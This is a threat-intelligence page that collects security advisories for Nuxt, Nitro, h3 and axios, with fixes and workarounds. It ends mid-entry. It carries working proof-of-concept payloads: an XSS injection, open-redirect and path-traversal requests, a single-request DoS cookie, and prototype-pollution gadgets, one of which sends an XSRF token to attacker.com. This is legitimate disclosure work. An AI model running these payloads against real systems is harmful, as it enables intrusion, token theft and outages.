Threat Intelligence

Live CVE feed

136 threats tracked across 6 launch stacks — sourced from NVD, GHSA, CISA KEV, and OSV.

19threats · Nuxt · Medium
Get guardrails →

Nuxt's route middleware is not enforced when rendering `.server.vue` pages via `/__nuxt_island/page_*`

Summary When experimental.componentIslands is enabled (default in Nuxt 4), any .server.vue file under pages/ is automatically registered as a server island under the key page_<routeName> and exposed via the /__nuxt_island/:name endpoint. Until this fix, requests through that endpoint rendered the page component directly via the SSR renderer without instantiating Vue Router, which meant route middleware declared on the page (including definePageMeta({ middleware })) did not run. For Nuxt applications that gate a .server.vue page behind route middleware as their sole auth check, an unauthenticated attacker could bypass that check by requesting /__nuxt_island/page_<routeName>_<anyhash> directly and receiving the server-rendered HTML. Affected configurations All three conditions must hold for an application to be vulnerable: 1. experimental.componentIslands is enabled (the default in Nuxt 4; opt-in in Nuxt 3). 2. The application defines one or more .server.vue files under pages/, registering them as routed pages. 3. Authentication / authorization for at least one such page is enforced solely via route middleware (middleware/.ts referenced from definePageMeta), without a server-side check inside the page or its data layer. Applications that enforce auth inside the island's own data layer (server-only API routes, useRequestEvent + manual session checks, etc.) were not affected. The general "route middleware does not run for non-page island components" behaviour is documented and unchanged; this advisory concerns the .server.vue page case specifically, where running middleware is the user's clear expectation. Details Build (packages/nuxt/src/components/templates.ts): .server.vue pages are registered as island components with page_ prefix, making them addressable through /__nuxt_island/page_<routeName>_<hashId>. Runtime (packages/nitro-server/src/runtime/handlers/island.ts): the handler resolves the requested island component and renders it via renderer.renderToString(ssrContext). The Vue Router plugin previously short-circuited middleware execution whenever ssrContext.islandContext was set. The two paths interact so that route middleware declared on the source page never runs. Proof of concept Given a page app/pages/secret.server.vue: ``vue <script setup lang="ts"> definePageMeta({ middleware: 'auth' }) </script> <template> <h1>SECRET DATA</h1> </template> ` with middleware/auth.ts blocking unauthenticated access: `bash Direct page request: blocked by middleware curl -i http://localhost:3000/secret -> 403 / redirect, depending on the middleware Island request: middleware did not run before this fix curl -i 'http://localhost:3000/__nuxt_island/page_secret_anyhash' -> 200 OK, body includes <h1>SECRET DATA</h1> ` Patches Patched in nuxt@4.4.6 and nuxt@3.21.6 by #35092. The Vue Router plugin now runs middleware and redirect handling for page_ islands (i.e. islands that originate from .server.vue files in pages/). The island handler propagates middleware-issued responses (~renderResponse), and a new beforeResolve guard returns HTTP 400 when the requested page_<name> does not match the route component the URL resolves to. Non-page island components are unaffected - they continue to render without route middleware, by design. Workarounds If you cannot upgrade immediately: Enforce authentication inside the .server.vue page itself, not via route middleware. Read the session from useRequestEvent() and throw createError({ statusCode: 401 }) (or redirect) before returning data. This is the recommended pattern for islands regardless of this advisory. Disable experimental.componentIslands if your app does not use the feature. If your app must keep route-middleware-only auth, gate the /__nuxt_island/page_*` URL prefix at your reverse proxy or in a server middleware.

OWASP A01OWASP LLM06OWASP WEB
Get guardrail →

Nuxt: Reflected XSS in `navigateTo()` external redirect

Summary navigateTo() with external: true generates a server-side HTML redirect body containing a <meta http-equiv="refresh"> tag. The destination URL is only sanitized by replacing " with %22, leaving <, >, &, and ' unencoded. An attacker who can influence the URL passed to navigateTo(url, { external: true }) can break out of the content="…" attribute and inject arbitrary HTML/JavaScript that executes under the application's origin. This is a different root cause from CVE-2024-34343 (GHSA-vf6r-87q4-2vjf), which addressed javascript: protocol bypass. The issue here is triggered by any valid URL containing >. Impact Applications that pass user-controlled input to navigateTo(url, { external: true }) — typically via a ?next= / ?redirect= query parameter used for post-login or "return to" flows — are vulnerable to reflected cross-site scripting. The injected script runs in the context of the application's origin during the server-rendered redirect response, before the meta-refresh fires. Details In packages/nuxt/src/app/composables/router.ts, the SSR redirect path builds an HTML response body with only " percent-encoded in the destination URL: ``ts const encodedLoc = location.replace(/"/g, '%22') nuxtApp.ssrContext!['~renderResponse'] = { status: sanitizeStatusCode(options?.redirectCode || 302, 302), body: <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=${encodedLoc}"></head></html>, headers: { location: encodeURL(location, isExternalHost) }, } ` The Location header is normalised through encodeURL() (which uses the URL constructor and correctly percent-encodes attribute-significant characters). The HTML body uses a narrower sanitiser. That mismatch is the root cause. Proof of concept Global middleware that forwards a query parameter to navigateTo: `ts // middleware/redirect.global.ts export default defineNuxtRouteMiddleware((to) => { const next = to.query.next as string | undefined if (next) { return navigateTo(next, { external: true }) } }) ` Request: ` GET /?next=https://evil.example/x><img src=x onerror=alert(document.domain)> ` Response body: `html <!DOCTYPE html><html><head><meta http-equiv="refresh" content="0; url=https://evil.example/x><img src=x onerror=alert(document.domain)>"></head></html> ` The > after evil.example/x terminates the content="…" attribute, and the <img onerror> tag executes JavaScript in the application's origin before any redirect occurs. Patches Fixed in nuxt@4.4.6 and nuxt@3.21.6 by #35052. The fix percent-encodes the full set of HTML-attribute-significant characters (&, ", ', <, >) before interpolating the URL into the meta-refresh body Workarounds If you can't upgrade immediately, validate user-controlled URLs before passing them to navigateTo(url, { external: true }). At minimum, normalise through new URL(input).toString() and reject inputs containing < or >` (a normalised URL with these characters is malformed and safe to refuse).

Nitro has an Open Redirect via Protocol-Relative URL Bypass in Wildcard Route Rules

A redirect route rule like: ``ts routeRules: { "/legacy/": { redirect: "/" } } ` is intended to rewrite paths within the same host. Before the patch, an attacker could turn the rewrite into a cross-host redirect by sliding an extra slash in after the rule prefix. Example exploit: ` GET /legacy//evil.com ` Nitro stripped /legacy from the matched pathname and joined the remainder against the rule's target. The remainder was //evil.com, which the join preserved verbatim, so Nitro responded with Location: //evil.com. Browsers resolve //evil.com as a protocol-relative URL against the current scheme, sending the user to https://evil.com. Are you affected? Users may be affected if all of the following are true: 1. Their project uses Nitro's routeRules with a redirect entry. 2. The target uses a / wildcard suffix to forward sub-paths (e.g. redirect: "/", redirect: "/new/", proxy: { to: "http://upstream/" }). 3. The redirect rule is _not_ handled natively at the CDN layer. The vercel, netlify, cloudflare-pages, and edgeone presets translate routeRules.redirect into platform config (vercel.json, _redirects, EdgeOne v3 config) and serve the redirect at the edge — those deployments bypass the Nitro runtime entirely and are not affected. Every other preset executes the redirect through the Nitro runtime and can be vulnerable. Impact Open redirect from any host serving Nitro with a wildcard redirect rule. The redirect target is fully attacker-controlled, the URL looks legitimate (it starts with the victim's domain), and the browser silently follows it. Patched versions Upgrade to one of: 2.13.4 or later (or upgrade lockfile with latest ufo 1.6.4+) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4236) The fix has two parts: 1. ufo is bumped to ^1.6.4 (unjs/ufo@5cd9e67), which collapses any run of leading slashes to a single / inside withoutBase. This covers the typical "/scope/" rule. 2. The Nitro runtime additionally collapses leading // before joining when the rule path itself is / (in rare case which case withoutBase is never called and the raw pathname flows straight into joinURL("", …)`).

Nitro has a proxy scope bypass via percent-encoded path traversal in `routeRules`

A proxy route rule like: ``ts routeRules: { "/api/orders/": { proxy: { to: "http://upstream/orders/" } } } ` is intended to limit the proxy to URLs under /api/orders/. Before the patch, an attacker could bypass that scope by sending percent-encoded path traversal (..%2f) in the URL, causing Nitro to forward a request that the upstream resolved outside the configured scope. Example exploit: ` GET /api/orders/..%2fadmin%2fconfig.json ` Nitro sees ..%2f as opaque characters at match time, the /api/orders/ rule matched, and the raw path was forwarded to the upstream as /orders/..%2fadmin/config.json. An upstream that decodes %2F to / then resolved .. and can serve /admin/config.json outside the intended scope. Are you affected? Users may be affected if ALL of the following are true: 1. Their project uses Nitro's routeRules with a proxy entry ({ proxy: { to: "..." } }). 2. The proxy to value uses a / wildcard suffix to forward sub-paths. 3. The upstream behind the proxy decodes %2F as / before routing or filesystem lookup. 4. Proxy route rules are _not_ handled natively at CDN (nitro v3 and vercel) Whether the bypass actually leaks data depends on the upstream. Modern JS frameworks keep %2F opaque per RFC 3986 and are safe by construction. Safe examples: H3 v2, Express v5, Hono v4 — modern JS frameworks keep %2F opaque per RFC 3986. Vulnerable examples: naive imlementations that decodes the URL, static file servers, CGI dispatchers, Python os.path-based routing, anything sitting behind another layer that decodes %2F (common in microservice meshes). Impact Any HTTP path reachable from the Nitro server to the upstream could be requested, regardless of the configured / scope. In typical deployments (API gateway, BFF, microservice proxy) this could expose internal admin endpoints, secrets endpoints, or other services the developer believed the scope rule fenced off. Patched versions Upgrade to one of: 2.13.4 or later (https://github.com/nitrojs/nitro/pull/4223) 3.0.260429-beta or later (https://github.com/nitrojs/nitro/pull/4222) The fix canonicalizes the incoming pathname before building the upstream URL and rejects requests with 400 Bad Request if the resolved path would escape the rule's base. The bytes forwarded upstream are unchanged when the request is allowed. > Note: the fix assumes the upstream does not double-decode percent-encoding. If your upstream decodes twice (%252F → %2F → /`), it remains your responsibility to harden it. Single-decode is standard**. Credits Reported by @mHe4am (@he4am on HackerOne) via the Vercel Open Source program.

OWASP A01OWASP WEB
Get guardrail →

H3: Unbounded Chunked Cookie Count in Session Cleanup Loop may Lead to Denial of Service

Summary The setChunkedCookie() and deleteChunkedCookie() functions in h3 trust the chunk count parsed from a user-controlled cookie value (__chunked__N) without any upper bound validation. An unauthenticated attacker can send a single request with a crafted cookie header (e.g., Cookie: h3=__chunked__999999) to any endpoint using sessions, causing the server to enter an O(n²) loop that hangs the process. Details The chunked cookie system stores large cookie values by splitting them into numbered chunks. The main cookie stores a sentinel value __chunked__N indicating how many chunks exist. When setting a new chunked cookie, the code cleans up any previous chunks that are no longer needed. The vulnerability is in getChunkedCookieCount() at src/utils/cookie.ts:244-249: ``typescript function getChunkedCookieCount(cookie: string | undefined): number { if (!cookie?.startsWith(CHUNKED_COOKIE)) { return Number.NaN; } return Number.parseInt(cookie.slice(CHUNKED_COOKIE.length)); // No upper bound check — attacker controls this value } ` This value is consumed without validation in the cleanup loop of setChunkedCookie() at src/utils/cookie.ts:182-190: `typescript const previousCookie = getCookie(event, name); // reads from request headers if (previousCookie?.startsWith(CHUNKED_COOKIE)) { const previousChunkCount = getChunkedCookieCount(previousCookie); if (previousChunkCount > chunkCount) { for (let i = chunkCount; i <= previousChunkCount; i++) { deleteCookie(event, chunkCookieName(name, i), options); // Each deleteCookie → setCookie → scans ALL existing set-cookie headers } } } ` The same issue exists in deleteChunkedCookie() at src/utils/cookie.ts:227-232: `typescript const chunksCount = getChunkedCookieCount(mainCookie); if (chunksCount >= 0) { for (let i = 0; i < chunksCount; i++) { deleteCookie(event, chunkCookieName(name, i + 1), serializeOptions); } } ` The exploit chain through sessions: 1. Attacker sends Cookie: h3=__chunked__999999 to any session-using endpoint 2. getSession() (src/utils/session.ts:83) calls getChunkedCookie(event, "h3") (line 124) 3. getChunkedCookie() returns undefined — the early return at line 153 fires because no actual chunk cookies (e.g., h3.1) exist in the request 4. Since sealedSession is undefined, session.id remains empty (line 140), triggering updateSession() (line 143) 5. updateSession() calls setChunkedCookie() with the newly sealed session value (line 179) 6. Inside setChunkedCookie(), getCookie(event, name) re-reads the original request cookie __chunked__999999 at line 182 7. previousChunkCount = 999999, chunkCount = 1 (new sealed session is small) 8. The cleanup loop runs 999,998 iterations, each calling deleteCookie() → setCookie() 9. Each setCookie() call reads ALL existing set-cookie response headers via getSetCookie() (line 91) and iterates through them for deduplication (lines 100-106) 10. This creates O(n²) complexity — approximately 10¹² operations for n=999999 Key observation: While getChunkedCookie() has an early-return optimization (line 153) that prevents it from looping on missing chunks, the cleanup loops in setChunkedCookie() and deleteChunkedCookie() have no such protection and run unconditionally for the full claimed chunk count. PoC Prerequisites: An h3 application with any endpoint using getSession() or useSession(). Example minimal server: `typescript import { H3 } from "h3"; import { getSession } from "h3"; const app = new H3(); app.get("/dashboard", async (event) => { const session = await getSession(event, { password: "my-secret-password-at-least-32-chars-long!", }); return { user: session.data.user || "anonymous" }; }); export default app; ` Attack (single request, no authentication): `bash This single request will hang the server process curl -H 'Cookie: h3=__chunked__999999' http://localhost:3000/dashboard ` For a less extreme but still impactful test: `bash ~100K iterations — will take several seconds and block all other requests curl -H 'Cookie: h3=__chunked__100000' http://localhost:3000/dashboard ` The deleteChunkedCookie() path is exploitable via clearSession(): `typescript app.post("/logout", async (event) => { await clearSession(event, { password: "my-secret-password-at-least-32-chars-long!", }); return { ok: true }; }); ` `bash curl -X POST -H 'Cookie: h3=__chunked__999999' http://localhost:3000/logout ` Impact Complete Denial of Service: A single unauthenticated request with a 27-byte cookie header can hang the server process indefinitely. Node.js is single-threaded, so this blocks all request handling. No authentication required: The attack only requires the ability to send HTTP requests with a crafted cookie header. Minimal attacker effort: The payload is trivially small (Cookie: h3=__chunked__999999), making it easy to automate or repeat. Wide attack surface: Any endpoint in the application that uses getSession(), useSession(), or clearSession() is vulnerable. Session usage is extremely common in web applications. Amplification: The ratio of attacker input (27 bytes) to server work (billions of operations) is extreme. Recommended Fix Add a maximum chunk count constant and validate in getChunkedCookieCount(): `typescript const MAX_CHUNKED_COOKIE_COUNT = 100; function getChunkedCookieCount(cookie: string | undefined): number { if (!cookie?.startsWith(CHUNKED_COOKIE)) { return Number.NaN; } const count = Number.parseInt(cookie.slice(CHUNKED_COOKIE.length)); if (Number.isNaN(count) || count < 0 || count > MAX_CHUNKED_COOKIE_COUNT) { return Number.NaN; } return count; } ` This clamps the parsed count at a safe maximum. Since each chunk can hold ~4000 bytes and 100 chunks would allow ~400KB of cookie data (far beyond any practical limit), MAX_CHUNKED_COOKIE_COUNT = 100 is generous while eliminating the DoS vector. Additionally, the callers should be updated to handle NaN safely. The cleanup loop in setChunkedCookie() already handles this correctly since NaN > chunkCount is false, so the loop won't execute. The deleteChunkedCookie() loop also handles it since NaN >= 0` is false.

OWASP A06OWASP LLM10OWASP WEB
Get guardrail →

h3 has an observable timing discrepancy in basic auth utils

Summary A Timing Side-Channel vulnerability exists in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections. Details The vulnerability is located in the requireBasicAuth function. The code performs a standard string comparison between the user-provided password and the expected password: ~~~typescript if (opts.password && password !== opts.password) { throw autheFailed(event, opts?.realm); } ~~~ In V8 (and most runtime environments), the !== operator is optimized to "fail fast." It stops execution and returns false as soon as it encounters the first mismatched byte. If the first character is wrong, it returns immediately. If the first character is correct but the second is wrong, it takes slightly longer. By statistically analyzing these minute timing differences over many requests, an attacker can determine the correct password one character at a time. PoC This vulnerability is exploitable in real-world scenarios without direct access to the server machine. To reproduce this, an attacker can send two packets (or bursts of packets) at the exact same time: 1. Packet A: Contains a password that is known to be incorrect starting at the first character (e.g., AAAA...). 2. Packet B: Contains a password where the first character is a guess (e.g., B...). By measuring the time-to-first-byte (TTFB) or total response time of these concurrent requests, the attacker can filter out network jitter. If Packet B takes consistently longer to return than Packet A, the first character is confirmed as correct. This process is repeated for the second character, and so on. Tests confirm this timing difference is statistically consistent enough to recover credentials remotely. Impact This vulnerability allows remote attackers to recover passwords. While network jitter makes this difficult over the internet, it is highly effective in local networks or cloud environments where the attacker is co-located. It reduces the complexity of cracking a password from exponential (guessing the whole string) to linear (guessing one char at a time).

axios has DoS & Header Injection via Prototype Pollution Read-Side Gadgets in axios merge functions

Summary axios 1.15.2 exposes two read-side prototype-pollution gadgets. When Object.prototype is polluted by an upstream dependency in the same process (e.g. lodash _.merge / CVE-2018-16487), axios silently picks up the polluted values: 1. Header injection - lib/utils.js line 406 builds merge()'s accumulator as result = {}, so result[targetKey] (line 414) walks Object.prototype and the polluted bucket's own keys are copied into the merged headers and ride out on the wire. 2. Crash DoS - lib/core/mergeConfig.js line 26 builds the hasOwnProperty descriptor as a plain-object literal. Object.defineProperty reads descriptor.get/descriptor.set via the prototype chain, so a polluted Object.prototype.get or Object.prototype.set makes the call throw TypeError synchronously on every axios request. Affected Properties | Polluted slot | Effect | |---|---| | Object.prototype.common | injects headers on every method | | Object.prototype.delete / .head / .post / .put / .patch / .query | injects headers on the matching method | | Object.prototype.get | every axios request throws TypeError: Getter must be a function from mergeConfig.js:26 | | Object.prototype.set | every axios request throws TypeError: Setter must be a function from mergeConfig.js:26 | Per-request headers (axios.request(url, { headers: {...} })) overwrite polluted entries. Polluting Object.prototype.get triggers the crash before any header is built. Proof of Concept ``javascript const axios = require('axios'); // Finding A - header injection Object.prototype.common = { 'X-Poisoned': 'yes' }; await axios.get('http://api.example.com/users'); // Wire request carries X-Poisoned: yes. // Finding B - crash DoS Object.prototype.get = { something: 'anything' }; await axios.get('http://api.example.com/users'); // TypeError: Getter must be a function: #<Object> // at Function.defineProperty (<anonymous>) // at mergeConfig (lib/core/mergeConfig.js:26:10) ` Impact Server hang (Content-Length: 99999): receiver waits for a body that never arrives. Affects requests with a body. CL+TE conflict (Transfer-Encoding: chunked rides alongside axios's auto Content-Length): receiver rejects with 400 Bad Request. Affects requests with a body. Response suppression (If-None-Match: ): receiver returns empty 304 Not Modified. Affects GET / HEAD. Crash DoS (Object.prototype.get / .set): every axios request fails synchronously with TypeError, not AxiosError, so handlers filtering on error.isAxiosError mishandle the failure. Attack Flow `mermaid flowchart TD ROOT["Polluted Object.prototype<br/>via upstream gadget (e.g. lodash &lt;= 4.17.10 _.merge / CVE-2018-16487)<br/>axios &lt;= 1.15.2"] ROOT --> CLASS_A["A. Arbitrary HTTP Header Injection<br/>Polluted defaults.headers slot rides along on every outbound axios request"] ROOT --> CLASS_B["B. Crash DoS via Object.prototype.get / .set<br/>Polluted descriptor breaks Object.defineProperty in mergeConfig"] CLASS_A --> PRE_A["Precondition: header not set per-request by the app<br/>Injected via defaults.headers slot<br/>(common, delete, head, post, put, patch, query)"] PRE_A --> PA1["Response Suppression<br/>Trigger: common = {If-None-Match: }<br/>Affects GET / HEAD"] PA1 --> SA1["DoS<br/>304 Not Modified empty"] PRE_A --> PA2["Server Hang<br/>Trigger: common = {Content-Length: 99999}<br/>Affects requests with body"] PA2 --> SA2["DoS<br/>connection hang"] PRE_A --> PA3["CL+TE Conflict<br/>Trigger: common = {Transfer-Encoding: chunked}<br/>Affects requests with body"] PA3 --> SA3["DoS<br/>400 Bad Request"] CLASS_B --> SB1["DoS<br/>TypeError: Getter / Setter must be a function<br/>Crashes every axios request, not only GET"] %% Styles style ROOT fill:#f87171,stroke:#991b1b,color:#fff style CLASS_A fill:#fb923c,stroke:#9a3412,color:#fff style CLASS_B fill:#fb923c,stroke:#9a3412,color:#fff style PRE_A fill:#e2e8f0,stroke:#64748b,color:#1e293b style PA1 fill:#fbbf24,stroke:#92400e,color:#000 style PA2 fill:#fbbf24,stroke:#92400e,color:#000 style PA3 fill:#fbbf24,stroke:#92400e,color:#000 style SA1 fill:#ef4444,stroke:#991b1b,color:#fff style SA2 fill:#ef4444,stroke:#991b1b,color:#fff style SA3 fill:#ef4444,stroke:#991b1b,color:#fff style SB1 fill:#ef4444,stroke:#991b1b,color:#fff ` Root Cause Finding A. lib/utils.js:404-429's merge() creates result = {} at line 406. The dangerous-keys filter on lines 408-411 blocks the write side, but the read at line 414 (isPlainObject(result[targetKey])) still walks the prototype chain. When targetKey matches a polluted slot, result[targetKey] returns the polluted nested object, and the recursive merge(result[targetKey], val) on line 415 iterates that object's own keys via forEach and copies them as own properties into the new accumulator. Those keys flow through mergeConfig.js:35 → Axios.js:148 (utils.merge(headers.common, headers[config.method])) → Axios.js:155 (AxiosHeaders.concat(...)) → onto the wire via http.js:677 (headers: headers.toJSON()) → http.js:767 (transport.request(options, ...)). Finding B. lib/core/mergeConfig.js:25 correctly makes config = Object.create(null), but the descriptor passed on line 26 is a plain-object literal - its get/set lookups walk Object.prototype. A polluted non-function Object.prototype.get or .set makes Object.defineProperty throw TypeError: Getter must be a function (or Setter must be a function) before the call returns. The descriptor is built unconditionally on every mergeConfig invocation, so every axios request throws - POST, PUT, DELETE, PATCH, HEAD, QUERY, not only GET. Suggested Fix Use null-prototype objects in place of the plain-object literals at lib/utils.js:406 and lib/core/mergeConfig.js:26-31. The same descriptor pattern recurs at lib/core/AxiosError.js:37, lib/core/AxiosHeaders.js:100, lib/utils.js:447/454/492/498, and lib/adapters/adapters.js:28/32. Resources CVE-2018-16487 - lodash.merge prototype pollution in lodash <= 4.17.10` CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes

OWASP A03OWASP WEB
Get guardrail →

Axios: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in `withXSRFToken` Boolean Coercion

Vulnerability Disclosure: XSRF Token Cross-Origin Leakage via Prototype Pollution Gadget in withXSRFToken Boolean Coercion Summary The Axios library's XSRF token protection logic uses JavaScript truthy/falsy semantics instead of strict boolean comparison for the withXSRFToken config property. When this property is set to any truthy non-boolean value (via prototype pollution or misconfiguration), the same-origin check (isURLSameOrigin) is short-circuited, causing XSRF tokens to be sent to all request targets including cross-origin servers controlled by an attacker. Severity: Medium (CVSS 5.4) Affected Versions: All versions since withXSRFToken was introduced Vulnerable Component: lib/helpers/resolveConfig.js:59 Environment: Browser-only (XSRF logic only runs when hasStandardBrowserEnv is true) CWE CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs CVSS 3.1 Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP triggered remotely via vulnerable dependency | | Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | Required | Victim must use browser with axios making cross-origin requests | | Scope | Unchanged | Token leakage within browser context | | Confidentiality | Low | XSRF token leaked — anti-CSRF token, not session token | | Integrity | Low | Stolen XSRF token enables CSRF attacks (bypass CSRF protection only) | | Availability | None | No availability impact | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input when triggered via prototype pollution. If an attacker can pollute Object.prototype.withXSRFToken with any truthy value (e.g., 1, "true", {}), Axios will automatically inherit this value during config merge. The truthy value short-circuits the same-origin check, causing the XSRF cookie value to be sent as a request header to every destination. Vulnerable Code File: lib/helpers/resolveConfig.js, lines 57-66 ``javascript // Line 57: Function check — only applies if withXSRFToken is a function withXSRFToken && utils.isFunction(withXSRFToken) && (withXSRFToken = withXSRFToken(newConfig)); // Line 59: The vulnerable condition if (withXSRFToken || (withXSRFToken !== false && isURLSameOrigin(newConfig.url))) { // ^^^^^^^^^^^^^^^^ // When withXSRFToken = 1 (truthy non-boolean): this is true → short-circuits // isURLSameOrigin() is NEVER called → token sent to ANY origin const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } ` Designed behavior: true → always send token (explicit cross-origin opt-in) false → never send token undefined → send only for same-origin requests Actual behavior for non-boolean truthy values (1, "false", {}, []): All treated as truthy → same-origin check skipped → token sent everywhere Proof of Concept `javascript // Simulated prototype pollution from any vulnerable dependency Object.prototype.withXSRFToken = 1; // In browser with document.cookie = "XSRF-TOKEN=secret-csrf-token-abc123" // Every axios request now includes: X-XSRF-TOKEN: secret-csrf-token-abc123 // Even to cross-origin hosts: await axios.get('https://attacker.com/collect'); // → attacker receives the XSRF token in request headers ` Verified PoC Output ` withXSRFToken Value Sends Token Cross-Origin Expected true (boolean) YES Yes (opt-in) false (boolean) No No undefined (default) No No 1 (number) YES ← BUG No "false" (string) YES ← BUG No {} (object) YES ← BUG No [] (array) YES ← BUG No Prototype pollution: Object.prototype.withXSRFToken = 1 config.withXSRFToken = 1 → leaks=true isURLSameOrigin() was NOT called (short-circuited) ` Impact Analysis XSRF Token Theft: Anti-CSRF token sent as header to attacker-controlled server, enabling CSRF attacks against the victim application Universal Scope: A single Object.prototype.withXSRFToken = 1 affects every axios request in the application Misconfiguration Risk: Developer writing withXSRFToken: "false" (string) instead of false (boolean) triggers the same issue without PP Limitations: Browser-only (XSRF logic runs only in hasStandardBrowserEnv) XSRF tokens are anti-CSRF tokens, not session tokens — leakage enables CSRF but not direct session hijacking Attacker still needs a way to deliver the forged request after obtaining the token Recommended Fix Use strict boolean comparison: `javascript // FIXED: lib/helpers/resolveConfig.js const shouldSendXSRF = withXSRFToken === true || (withXSRFToken == null && isURLSameOrigin(newConfig.url)); if (shouldSendXSRF) { const xsrfValue = xsrfHeaderName && xsrfCookieName && cookies.read(xsrfCookieName); if (xsrfValue) { headers.set(xsrfHeaderName, xsrfValue); } } `` Resources CWE-201: Insertion of Sensitive Information Into Sent Data CWE-183: Permissive List of Allowed Inputs GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: corrected CVSS, documented limitations | | TBD | Report submitted to vendor via GitHub Security Advisory |

Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in validateStatus Merge Strategy Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any Object.prototype pollution to silently suppress all HTTP error responses (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that validateStatus is the only config property using the mergeDirectKeys merge strategy, which uses JavaScript's in operator — an operator that inherently traverses the prototype chain. When Object.prototype.validateStatus is polluted with () => true, all HTTP status codes are accepted as success. Severity: High (CVSS 8.2) Affected Versions: All versions (v0.x - v1.x including v1.15.0) Vulnerable Component: lib/core/mergeConfig.js (mergeDirectKeys strategy) + lib/core/settle.js CWE CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') CWE-287: Improper Authentication CVSS 3.1 Score: 8.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | Usage of "Helper" Vulnerabilities This vulnerability requires Zero Direct User Input. If an attacker can pollute Object.prototype via any other library in the stack, Axios will automatically inherit the polluted validateStatus function during config merge. The in operator in mergeDirectKeys makes this property uniquely susceptible to prototype pollution compared to all other config properties. Why validateStatus Is Uniquely Vulnerable All other config properties use defaultToConfig2, which reads config2[prop] (traverses prototype). But validateStatus uses mergeDirectKeys, which uses the in operator: ``javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← in traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ` The in operator is a more aggressive prototype traversal than property access. While config2['validateStatus'] also traverses the prototype, the explicit in check makes the intent clearer and the vulnerability more direct. Proof of Concept 1. The Setup (Simulated Pollution) `javascript Object.prototype.validateStatus = () => true; ` 2. The Gadget Trigger (Safe Code) `javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ` 3. The Execution `javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ` 4. The Impact ` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ` Verified PoC Output ` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ` Impact Analysis Authentication Bypass: Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. Silent Error Swallowing: 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. Security Control Bypass: Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. Universal Scope: Affects every axios instance in the application, including third-party libraries. Recommended Fix Replace the in operator with hasOwnProperty in mergeDirectKeys: `javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ` Resources CWE-1321: Prototype Pollution CWE-287: Improper Authentication GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios MDN: in` operator Axios GitHub Repository Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for 